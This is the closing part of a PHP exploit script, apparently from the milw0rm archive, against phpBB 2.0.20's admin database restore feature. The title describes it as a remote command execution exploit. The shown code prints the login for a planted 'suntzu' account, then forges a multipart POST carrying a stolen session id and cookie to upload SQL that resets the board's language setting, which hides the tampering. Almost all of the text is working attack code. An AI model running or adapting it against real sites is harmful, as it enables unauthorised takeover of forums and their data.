  echo "with username \"suntzu\" and password \"suntzu\"\r\n";
}


echo "step 8 -> restore phpbb_config with the old value to keep the board accessible\r\n";
$sql='
#
# old value for default_lang
#

UPDATE phpbb_config SET config_value="english" where config_name="default_lang";

';

$data='-----------------------------7d62702f250530
Content-Disposition: form-data; name="backup_file"; filename="suntzu.sql";
Content-Type: text/plain

'.$sql.'
-----------------------------7d62702f250530
Content-Disposition: form-data; name="perform"

restore
-----------------------------7d62702f250530
Content-Disposition: form-data; name="restore_start"

Start Restore
-----------------------------7d62702f250530--
';
$packet="POST ".$p."admin/admin_db_utilities.php?sid=".$session_id." HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Referer: http://".$host.$path."profile.php?mode=editprofile\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d62702f250530\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Cookie: ".$cookie."\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (eregi("The Database has been successfully restored",$html))
{
echo "Done...\r\n";
}
else
{
die("Unable to modify table...");
}
?>

# milw0rm.com [2006-05-13]

Поиск

Exploit phpBB 2.0.20 - Admin/Restore DB/default_lang Remote Command Execution

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